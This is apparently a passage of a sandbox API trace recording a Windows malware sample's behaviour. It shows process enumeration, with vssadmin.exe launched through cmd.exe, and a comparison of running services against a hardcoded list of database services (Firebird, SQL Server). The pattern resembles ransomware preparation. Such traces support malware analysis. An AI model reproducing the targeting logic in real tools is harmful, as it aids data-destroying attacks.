	[0053.092] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="katrinaupgradingfruits.exe")) returned 1
	[0053.093] lstrlenW (lpString="katrinaupgradingfruits.exe") returned 26
	[0053.093] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spa-podcasts.exe")) returned 1
	[0053.094] lstrlenW (lpString="spa-podcasts.exe") returned 16
	[0053.094] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0053.095] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0053.095] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0053.095] lstrlenW (lpString="swpesp.exe") returned 10
	[0053.095] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x918, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0053.096] lstrlenW (lpString="cmd.exe") returned 7
	[0053.096] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0053.097] lstrlenW (lpString="conhost.exe") returned 11
	[0053.097] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0053.098] lstrlenW (lpString="vssadmin.exe") returned 12
	[0053.098] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0053.098] lstrlenW (lpString="VSSVC.exe") returned 9
	[0053.098] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0053.099] lstrlenW (lpString="svchost.exe") returned 11
	[0053.099] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0
	[0053.100] CloseHandle (hObject=0x158) returned 1
	[0053.100] Sleep (dwMilliseconds=0x1f4) 
	[0053.790] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d0200
	[0053.791] EnumServicesStatusExW (in: hSCManager=0x35d0200, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 0
	[0053.791] GetLastError () returned 0xea
	[0053.791] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x12c6) returned 0x3ec0068
	[0053.791] EnumServicesStatusExW (in: hSCManager=0x35d0200, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3ec0068, cbBufSize=0x12c6, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3ec0068, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 1
	[0053.792] CloseServiceHandle (hSCObject=0x35d0200) returned 1
	[0053.792] lstrlenW (lpString="Appinfo") returned 7
	[0053.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0053.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0053.792] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0053.792] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0053.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0053.792] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0053.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0053.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0053.792] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0053.792] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0053.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0053.792] lstrlenW (lpString="AudioSrv") returned 8
	[0053.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0053.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0053.792] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0053.792] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0053.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0053.792] lstrlenW (lpString="BFE") returned 3
	[0053.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0053.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0053.792] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0053.793] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0053.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0053.793] lstrlenW (lpString="CryptSvc") returned 8
	[0053.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0053.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0053.793] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0053.793] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0053.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0053.793] lstrlenW (lpString="CscService") returned 10
	[0053.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0053.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0053.793] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0053.793] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0053.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0053.793] lstrlenW (lpString="DcomLaunch") returned 10
	[0053.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0053.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0053.793] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0053.793] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0053.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0053.793] lstrlenW (lpString="Dhcp") returned 4
	[0053.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0053.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0053.793] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0053.793] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0053.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0053.793] lstrlenW (lpString="Dnscache") returned 8
	[0053.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0053.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0053.793] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0053.794] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0053.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0053.794] lstrlenW (lpString="DPS") returned 3
	[0053.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0053.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0053.794] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0053.794] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0053.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0053.794] lstrlenW (lpString="eventlog") returned 8
	[0053.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0053.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0053.794] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0053.794] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0053.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0053.794] lstrlenW (lpString="EventSystem") returned 11
	[0053.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0053.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0053.794] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0053.794] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0053.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0053.794] lstrlenW (lpString="gpsvc") returned 5
	[0053.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0053.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0053.794] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0053.794] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0053.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0053.794] lstrlenW (lpString="iphlpsvc") returned 8
	[0053.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0053.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0053.794] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0053.794] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0053.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0053.795] lstrlenW (lpString="LanmanServer") returned 12
	[0053.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0053.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0053.795] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0053.795] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0053.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0053.795] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0053.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0053.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0053.795] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0053.795] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0053.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0053.795] lstrlenW (lpString="lmhosts") returned 7
	[0053.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0053.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0053.795] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0053.795] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0053.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0053.795] lstrlenW (lpString="MMCSS") returned 5
	[0053.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0053.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0053.795] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0053.795] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0053.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0053.795] lstrlenW (lpString="MpsSvc") returned 6
	[0053.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0053.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0053.795] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0053.795] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0053.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0053.796] lstrlenW (lpString="Netman") returned 6
	[0053.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0053.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0053.796] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0053.796] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0053.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0053.796] lstrlenW (lpString="netprofm") returned 8
	[0053.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0053.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0053.796] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0053.796] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0053.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0053.796] lstrlenW (lpString="NlaSvc") returned 6
	[0053.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0053.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0053.796] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0053.796] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0053.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0053.796] lstrlenW (lpString="nsi") returned 3
	[0053.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0053.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0053.796] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0053.796] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0053.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0053.796] lstrlenW (lpString="PcaSvc") returned 6
	[0053.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0053.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0053.796] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0053.796] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0053.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0053.797] lstrlenW (lpString="PlugPlay") returned 8
	[0053.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0053.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0053.797] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0053.797] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0053.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0053.797] lstrlenW (lpString="Power") returned 5
	[0053.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0053.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0053.797] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0053.797] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0053.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0053.797] lstrlenW (lpString="ProfSvc") returned 7
	[0053.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0053.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0053.797] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0053.797] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0053.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0053.797] lstrlenW (lpString="RpcEptMapper") returned 12
	[0053.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0053.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0053.797] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0053.797] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0053.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0053.797] lstrlenW (lpString="RpcSs") returned 5
	[0053.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0053.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0053.797] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0053.797] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0053.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0053.797] lstrlenW (lpString="SamSs") returned 5
	[0053.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0053.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0053.798] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0053.798] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0053.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0053.798] lstrlenW (lpString="Schedule") returned 8
	[0053.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0053.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0053.798] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0053.798] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0053.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0053.798] lstrlenW (lpString="SENS") returned 4
	[0053.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0053.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0053.798] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0053.798] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0053.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0053.798] lstrlenW (lpString="ShellHWDetection") returned 16
	[0053.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0053.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0053.798] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0053.798] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0053.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0053.798] lstrlenW (lpString="Spooler") returned 7
	[0053.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0053.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0053.798] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0053.798] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0053.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0053.798] lstrlenW (lpString="swprv") returned 5
	[0053.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1
	[0053.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1
	[0053.799] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1
	[0053.799] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1
	[0053.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1
	[0053.799] lstrlenW (lpString="SysMain") returned 7
	[0053.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0053.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0053.799] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0053.799] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0053.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0053.799] lstrlenW (lpString="Themes") returned 6
	[0053.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0053.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0053.799] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0053.799] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0053.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0053.799] lstrlenW (lpString="TrkWks") returned 6
	[0053.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0053.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0053.799] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0053.799] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0053.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0053.799] lstrlenW (lpString="UxSms") returned 5
	[0053.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0053.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0053.799] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0053.799] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0053.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0053.799] lstrlenW (lpString="VSS") returned 3
	[0053.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1
	[0053.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1
	[0053.800] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1
	[0053.800] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1
	[0053.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1
	[0053.800] lstrlenW (lpString="WdiServiceHost") returned 14
	[0053.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0053.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0053.800] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0053.800] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0053.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0053.800] lstrlenW (lpString="WdiSystemHost") returned 13
	[0053.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0053.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0053.800] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0053.800] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0053.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0053.800] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0053.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0053.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0053.800] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0053.800] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0053.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0053.800] lstrlenW (lpString="Winmgmt") returned 7
	[0053.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0053.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0053.800] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0053.800] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0053.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0053.800] lstrlenW (lpString="WPDBusEnum") returned 10
	[0053.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0053.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0053.801] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0053.801] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
